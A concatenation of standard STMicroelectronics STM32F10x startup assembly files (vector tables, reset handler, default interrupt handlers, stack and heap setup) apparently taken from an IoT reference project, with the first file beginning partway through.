DCD TIM1_UP_TIM10_IRQHandler ; TIM1 Update and TIM10
DCD TIM1_TRG_COM_TIM11_IRQHandler ; TIM1 Trigger and Commutation and TIM11
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD TIM4_IRQHandler ; TIM4
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD I2C2_EV_IRQHandler ; I2C2 Event
DCD I2C2_ER_IRQHandler ; I2C2 Error
DCD SPI1_IRQHandler ; SPI1
DCD SPI2_IRQHandler ; SPI2
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD USART3_IRQHandler ; USART3
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC Alarm through EXTI Line
DCD USBWakeUp_IRQHandler ; USB Wakeup from suspend
DCD TIM8_BRK_TIM12_IRQHandler ; TIM8 Break and TIM12
DCD TIM8_UP_TIM13_IRQHandler ; TIM8 Update and TIM13
DCD TIM8_TRG_COM_TIM14_IRQHandler ; TIM8 Trigger and Commutation and TIM14
DCD TIM8_CC_IRQHandler ; TIM8 Capture Compare
DCD ADC3_IRQHandler ; ADC3
DCD FSMC_IRQHandler ; FSMC
DCD SDIO_IRQHandler ; SDIO
DCD TIM5_IRQHandler ; TIM5
DCD SPI3_IRQHandler ; SPI3
DCD UART4_IRQHandler ; UART4
DCD UART5_IRQHandler ; UART5
DCD TIM6_IRQHandler ; TIM6
DCD TIM7_IRQHandler ; TIM7
DCD DMA2_Channel1_IRQHandler ; DMA2 Channel1
DCD DMA2_Channel2_IRQHandler ; DMA2 Channel2
DCD DMA2_Channel3_IRQHandler ; DMA2 Channel3
DCD DMA2_Channel4_5_IRQHandler ; DMA2 Channel4 & Channel5
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT __main
IMPORT SystemInit
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_2_IRQHandler [WEAK]
EXPORT USB_HP_CAN1_TX_IRQHandler [WEAK]
EXPORT USB_LP_CAN1_RX0_IRQHandler [WEAK]
EXPORT CAN1_RX1_IRQHandler [WEAK]
EXPORT CAN1_SCE_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_TIM9_IRQHandler [WEAK]
EXPORT TIM1_UP_TIM10_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_TIM11_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT TIM4_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT I2C2_EV_IRQHandler [WEAK]
EXPORT I2C2_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT SPI2_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT USART3_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT USBWakeUp_IRQHandler [WEAK]
EXPORT TIM8_BRK_TIM12_IRQHandler [WEAK]
EXPORT TIM8_UP_TIM13_IRQHandler [WEAK]
EXPORT TIM8_TRG_COM_TIM14_IRQHandler [WEAK]
EXPORT TIM8_CC_IRQHandler [WEAK]
EXPORT ADC3_IRQHandler [WEAK]
EXPORT FSMC_IRQHandler [WEAK]
EXPORT SDIO_IRQHandler [WEAK]
EXPORT TIM5_IRQHandler [WEAK]
EXPORT SPI3_IRQHandler [WEAK]
EXPORT UART4_IRQHandler [WEAK]
EXPORT UART5_IRQHandler [WEAK]
EXPORT TIM6_IRQHandler [WEAK]
EXPORT TIM7_IRQHandler [WEAK]
EXPORT DMA2_Channel1_IRQHandler [WEAK]
EXPORT DMA2_Channel2_IRQHandler [WEAK]
EXPORT DMA2_Channel3_IRQHandler [WEAK]
EXPORT DMA2_Channel4_5_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_2_IRQHandler
USB_HP_CAN1_TX_IRQHandler
USB_LP_CAN1_RX0_IRQHandler
CAN1_RX1_IRQHandler
CAN1_SCE_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_TIM9_IRQHandler
TIM1_UP_TIM10_IRQHandler
TIM1_TRG_COM_TIM11_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
TIM4_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
I2C2_EV_IRQHandler
I2C2_ER_IRQHandler
SPI1_IRQHandler
SPI2_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
USART3_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
USBWakeUp_IRQHandler
TIM8_BRK_TIM12_IRQHandler
TIM8_UP_TIM13_IRQHandler
TIM8_TRG_COM_TIM14_IRQHandler
TIM8_CC_IRQHandler
ADC3_IRQHandler
FSMC_IRQHandler
SDIO_IRQHandler
TIM5_IRQHandler
SPI3_IRQHandler
UART4_IRQHandler
UART5_IRQHandler
TIM6_IRQHandler
TIM7_IRQHandler
DMA2_Channel1_IRQHandler
DMA2_Channel2_IRQHandler
DMA2_Channel3_IRQHandler
DMA2_Channel4_5_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
AlanDoDo/Iot-marthome-reference | 13,352 | OneNET-V3.2-OneNET-裸机-基础例程/13.M6312-TCP-LED/core/startup/arm/startup_stm32f10x_ld_vl.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_ld_vl.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x Low Density Value Line Devices vector table
;* for MDK-ARM toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000200
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_IRQHandler ; ADC1
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_TIM15_IRQHandler ; TIM1 Break and TIM15
DCD TIM1_UP_TIM16_IRQHandler ; TIM1 Update and TIM16
DCD TIM1_TRG_COM_TIM17_IRQHandler ; TIM1 Trigger and Commutation and TIM17
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD 0 ; Reserved
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SPI1_IRQHandler ; SPI1
DCD 0 ; Reserved
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD 0 ; Reserved
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC Alarm through EXTI Line
DCD CEC_IRQHandler ; HDMI-CEC
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD TIM6_DAC_IRQHandler ; TIM6 and DAC underrun
DCD TIM7_IRQHandler ; TIM7
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT __main
IMPORT SystemInit
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_TIM15_IRQHandler [WEAK]
EXPORT TIM1_UP_TIM16_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_TIM17_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT CEC_IRQHandler [WEAK]
EXPORT TIM6_DAC_IRQHandler [WEAK]
EXPORT TIM7_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_TIM15_IRQHandler
TIM1_UP_TIM16_IRQHandler
TIM1_TRG_COM_TIM17_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
SPI1_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
CEC_IRQHandler
TIM6_DAC_IRQHandler
TIM7_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
;******************* (C) COPYRIGHT 2011 STMicroelectronics *****END OF FILE*****
|
AlanDoDo/Iot-marthome-reference | 15,346 | OneNET-V3.2-OneNET-裸机-基础例程/13.M6312-TCP-LED/core/startup/arm/startup_stm32f10x_hd_vl.s | ;******************** (C) COPYRIGHT 2011 STMicroelectronics ********************
;* File Name : startup_stm32f10x_hd_vl.s
;* Author : MCD Application Team
;* Version : V3.5.0
;* Date : 11-March-2011
;* Description : STM32F10x High Density Value Line Devices vector table
;* for MDK-ARM toolchain.
;* This module performs:
;* - Set the initial SP
;* - Set the initial PC == Reset_Handler
;* - Set the vector table entries with the exceptions ISR address
;* - Configure the clock system and also configure the external
;* SRAM mounted on STM32100E-EVAL board to be used as data
;* memory (optional, to be enabled by user)
;* - Branches to __main in the C library (which eventually
;* calls main()).
;* After Reset the CortexM3 processor is in Thread mode,
;* priority is Privileged, and the Stack is set to Main.
;* <<< Use Configuration Wizard in Context Menu >>>
;*******************************************************************************
; THE PRESENT FIRMWARE WHICH IS FOR GUIDANCE ONLY AIMS AT PROVIDING CUSTOMERS
; WITH CODING INFORMATION REGARDING THEIR PRODUCTS IN ORDER FOR THEM TO SAVE TIME.
; AS A RESULT, STMICROELECTRONICS SHALL NOT BE HELD LIABLE FOR ANY DIRECT,
; INDIRECT OR CONSEQUENTIAL DAMAGES WITH RESPECT TO ANY CLAIMS ARISING FROM THE
; CONTENT OF SUCH FIRMWARE AND/OR THE USE MADE BY CUSTOMERS OF THE CODING
; INFORMATION CONTAINED HEREIN IN CONNECTION WITH THEIR PRODUCTS.
;*******************************************************************************
; Amount of memory (in bytes) allocated for Stack
; Tailor this value to your application needs
; <h> Stack Configuration
; <o> Stack Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Stack_Size EQU 0x00000400
AREA STACK, NOINIT, READWRITE, ALIGN=3
Stack_Mem SPACE Stack_Size
__initial_sp
; <h> Heap Configuration
; <o> Heap Size (in Bytes) <0x0-0xFFFFFFFF:8>
; </h>
Heap_Size EQU 0x00000200
AREA HEAP, NOINIT, READWRITE, ALIGN=3
__heap_base
Heap_Mem SPACE Heap_Size
__heap_limit
PRESERVE8
THUMB
; Vector Table Mapped to Address 0 at Reset
AREA RESET, DATA, READONLY
EXPORT __Vectors
EXPORT __Vectors_End
EXPORT __Vectors_Size
__Vectors DCD __initial_sp ; Top of Stack
DCD Reset_Handler ; Reset Handler
DCD NMI_Handler ; NMI Handler
DCD HardFault_Handler ; Hard Fault Handler
DCD MemManage_Handler ; MPU Fault Handler
DCD BusFault_Handler ; Bus Fault Handler
DCD UsageFault_Handler ; Usage Fault Handler
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD SVC_Handler ; SVCall Handler
DCD DebugMon_Handler ; Debug Monitor Handler
DCD 0 ; Reserved
DCD PendSV_Handler ; PendSV Handler
DCD SysTick_Handler ; SysTick Handler
; External Interrupts
DCD WWDG_IRQHandler ; Window Watchdog
DCD PVD_IRQHandler ; PVD through EXTI Line detect
DCD TAMPER_IRQHandler ; Tamper
DCD RTC_IRQHandler ; RTC
DCD FLASH_IRQHandler ; Flash
DCD RCC_IRQHandler ; RCC
DCD EXTI0_IRQHandler ; EXTI Line 0
DCD EXTI1_IRQHandler ; EXTI Line 1
DCD EXTI2_IRQHandler ; EXTI Line 2
DCD EXTI3_IRQHandler ; EXTI Line 3
DCD EXTI4_IRQHandler ; EXTI Line 4
DCD DMA1_Channel1_IRQHandler ; DMA1 Channel 1
DCD DMA1_Channel2_IRQHandler ; DMA1 Channel 2
DCD DMA1_Channel3_IRQHandler ; DMA1 Channel 3
DCD DMA1_Channel4_IRQHandler ; DMA1 Channel 4
DCD DMA1_Channel5_IRQHandler ; DMA1 Channel 5
DCD DMA1_Channel6_IRQHandler ; DMA1 Channel 6
DCD DMA1_Channel7_IRQHandler ; DMA1 Channel 7
DCD ADC1_IRQHandler ; ADC1
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD EXTI9_5_IRQHandler ; EXTI Line 9..5
DCD TIM1_BRK_TIM15_IRQHandler ; TIM1 Break and TIM15
DCD TIM1_UP_TIM16_IRQHandler ; TIM1 Update and TIM16
DCD TIM1_TRG_COM_TIM17_IRQHandler ; TIM1 Trigger and Commutation and TIM17
DCD TIM1_CC_IRQHandler ; TIM1 Capture Compare
DCD TIM2_IRQHandler ; TIM2
DCD TIM3_IRQHandler ; TIM3
DCD TIM4_IRQHandler ; TIM4
DCD I2C1_EV_IRQHandler ; I2C1 Event
DCD I2C1_ER_IRQHandler ; I2C1 Error
DCD I2C2_EV_IRQHandler ; I2C2 Event
DCD I2C2_ER_IRQHandler ; I2C2 Error
DCD SPI1_IRQHandler ; SPI1
DCD SPI2_IRQHandler ; SPI2
DCD USART1_IRQHandler ; USART1
DCD USART2_IRQHandler ; USART2
DCD USART3_IRQHandler ; USART3
DCD EXTI15_10_IRQHandler ; EXTI Line 15..10
DCD RTCAlarm_IRQHandler ; RTC Alarm through EXTI Line
DCD CEC_IRQHandler ; HDMI-CEC
DCD TIM12_IRQHandler ; TIM12
DCD TIM13_IRQHandler ; TIM13
DCD TIM14_IRQHandler ; TIM14
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD 0 ; Reserved
DCD TIM5_IRQHandler ; TIM5
DCD SPI3_IRQHandler ; SPI3
DCD UART4_IRQHandler ; UART4
DCD UART5_IRQHandler ; UART5
DCD TIM6_DAC_IRQHandler ; TIM6 and DAC underrun
DCD TIM7_IRQHandler ; TIM7
DCD DMA2_Channel1_IRQHandler ; DMA2 Channel1
DCD DMA2_Channel2_IRQHandler ; DMA2 Channel2
DCD DMA2_Channel3_IRQHandler ; DMA2 Channel3
DCD DMA2_Channel4_5_IRQHandler ; DMA2 Channel4 & Channel5
DCD DMA2_Channel5_IRQHandler ; DMA2 Channel5
__Vectors_End
__Vectors_Size EQU __Vectors_End - __Vectors
AREA |.text|, CODE, READONLY
; Reset handler
Reset_Handler PROC
EXPORT Reset_Handler [WEAK]
IMPORT __main
IMPORT SystemInit
LDR R0, =SystemInit
BLX R0
LDR R0, =__main
BX R0
ENDP
; Dummy Exception Handlers (infinite loops which can be modified)
NMI_Handler PROC
EXPORT NMI_Handler [WEAK]
B .
ENDP
HardFault_Handler\
PROC
EXPORT HardFault_Handler [WEAK]
B .
ENDP
MemManage_Handler\
PROC
EXPORT MemManage_Handler [WEAK]
B .
ENDP
BusFault_Handler\
PROC
EXPORT BusFault_Handler [WEAK]
B .
ENDP
UsageFault_Handler\
PROC
EXPORT UsageFault_Handler [WEAK]
B .
ENDP
SVC_Handler PROC
EXPORT SVC_Handler [WEAK]
B .
ENDP
DebugMon_Handler\
PROC
EXPORT DebugMon_Handler [WEAK]
B .
ENDP
PendSV_Handler PROC
EXPORT PendSV_Handler [WEAK]
B .
ENDP
SysTick_Handler PROC
EXPORT SysTick_Handler [WEAK]
B .
ENDP
Default_Handler PROC
EXPORT WWDG_IRQHandler [WEAK]
EXPORT PVD_IRQHandler [WEAK]
EXPORT TAMPER_IRQHandler [WEAK]
EXPORT RTC_IRQHandler [WEAK]
EXPORT FLASH_IRQHandler [WEAK]
EXPORT RCC_IRQHandler [WEAK]
EXPORT EXTI0_IRQHandler [WEAK]
EXPORT EXTI1_IRQHandler [WEAK]
EXPORT EXTI2_IRQHandler [WEAK]
EXPORT EXTI3_IRQHandler [WEAK]
EXPORT EXTI4_IRQHandler [WEAK]
EXPORT DMA1_Channel1_IRQHandler [WEAK]
EXPORT DMA1_Channel2_IRQHandler [WEAK]
EXPORT DMA1_Channel3_IRQHandler [WEAK]
EXPORT DMA1_Channel4_IRQHandler [WEAK]
EXPORT DMA1_Channel5_IRQHandler [WEAK]
EXPORT DMA1_Channel6_IRQHandler [WEAK]
EXPORT DMA1_Channel7_IRQHandler [WEAK]
EXPORT ADC1_IRQHandler [WEAK]
EXPORT EXTI9_5_IRQHandler [WEAK]
EXPORT TIM1_BRK_TIM15_IRQHandler [WEAK]
EXPORT TIM1_UP_TIM16_IRQHandler [WEAK]
EXPORT TIM1_TRG_COM_TIM17_IRQHandler [WEAK]
EXPORT TIM1_CC_IRQHandler [WEAK]
EXPORT TIM2_IRQHandler [WEAK]
EXPORT TIM3_IRQHandler [WEAK]
EXPORT TIM4_IRQHandler [WEAK]
EXPORT I2C1_EV_IRQHandler [WEAK]
EXPORT I2C1_ER_IRQHandler [WEAK]
EXPORT I2C2_EV_IRQHandler [WEAK]
EXPORT I2C2_ER_IRQHandler [WEAK]
EXPORT SPI1_IRQHandler [WEAK]
EXPORT SPI2_IRQHandler [WEAK]
EXPORT USART1_IRQHandler [WEAK]
EXPORT USART2_IRQHandler [WEAK]
EXPORT USART3_IRQHandler [WEAK]
EXPORT EXTI15_10_IRQHandler [WEAK]
EXPORT RTCAlarm_IRQHandler [WEAK]
EXPORT CEC_IRQHandler [WEAK]
EXPORT TIM12_IRQHandler [WEAK]
EXPORT TIM13_IRQHandler [WEAK]
EXPORT TIM14_IRQHandler [WEAK]
EXPORT TIM5_IRQHandler [WEAK]
EXPORT SPI3_IRQHandler [WEAK]
EXPORT UART4_IRQHandler [WEAK]
EXPORT UART5_IRQHandler [WEAK]
EXPORT TIM6_DAC_IRQHandler [WEAK]
EXPORT TIM7_IRQHandler [WEAK]
EXPORT DMA2_Channel1_IRQHandler [WEAK]
EXPORT DMA2_Channel2_IRQHandler [WEAK]
EXPORT DMA2_Channel3_IRQHandler [WEAK]
EXPORT DMA2_Channel4_5_IRQHandler [WEAK]
EXPORT DMA2_Channel5_IRQHandler [WEAK]
WWDG_IRQHandler
PVD_IRQHandler
TAMPER_IRQHandler
RTC_IRQHandler
FLASH_IRQHandler
RCC_IRQHandler
EXTI0_IRQHandler
EXTI1_IRQHandler
EXTI2_IRQHandler
EXTI3_IRQHandler
EXTI4_IRQHandler
DMA1_Channel1_IRQHandler
DMA1_Channel2_IRQHandler
DMA1_Channel3_IRQHandler
DMA1_Channel4_IRQHandler
DMA1_Channel5_IRQHandler
DMA1_Channel6_IRQHandler
DMA1_Channel7_IRQHandler
ADC1_IRQHandler
EXTI9_5_IRQHandler
TIM1_BRK_TIM15_IRQHandler
TIM1_UP_TIM16_IRQHandler
TIM1_TRG_COM_TIM17_IRQHandler
TIM1_CC_IRQHandler
TIM2_IRQHandler
TIM3_IRQHandler
TIM4_IRQHandler
I2C1_EV_IRQHandler
I2C1_ER_IRQHandler
I2C2_EV_IRQHandler
I2C2_ER_IRQHandler
SPI1_IRQHandler
SPI2_IRQHandler
USART1_IRQHandler
USART2_IRQHandler
USART3_IRQHandler
EXTI15_10_IRQHandler
RTCAlarm_IRQHandler
CEC_IRQHandler
TIM12_IRQHandler
TIM13_IRQHandler
TIM14_IRQHandler
TIM5_IRQHandler
SPI3_IRQHandler
UART4_IRQHandler
UART5_IRQHandler
TIM6_DAC_IRQHandler
TIM7_IRQHandler
DMA2_Channel1_IRQHandler
DMA2_Channel2_IRQHandler
DMA2_Channel3_IRQHandler
DMA2_Channel4_5_IRQHandler
DMA2_Channel5_IRQHandler
B .
ENDP
ALIGN
;*******************************************************************************
; User Stack and Heap initialization
;*******************************************************************************
IF :DEF:__MICROLIB
EXPORT __initial_sp
EXPORT __heap_base
EXPORT __heap_limit
ELSE
IMPORT __use_two_region_memory
EXPORT __user_initial_stackheap
__user_initial_stackheap
LDR R0, = Heap_Mem
LDR R1, =(Stack_Mem + Stack_Size)
LDR R2, = (Heap_Mem + Heap_Size)
LDR R3, = Stack_Mem
BX LR
ALIGN
ENDIF
END
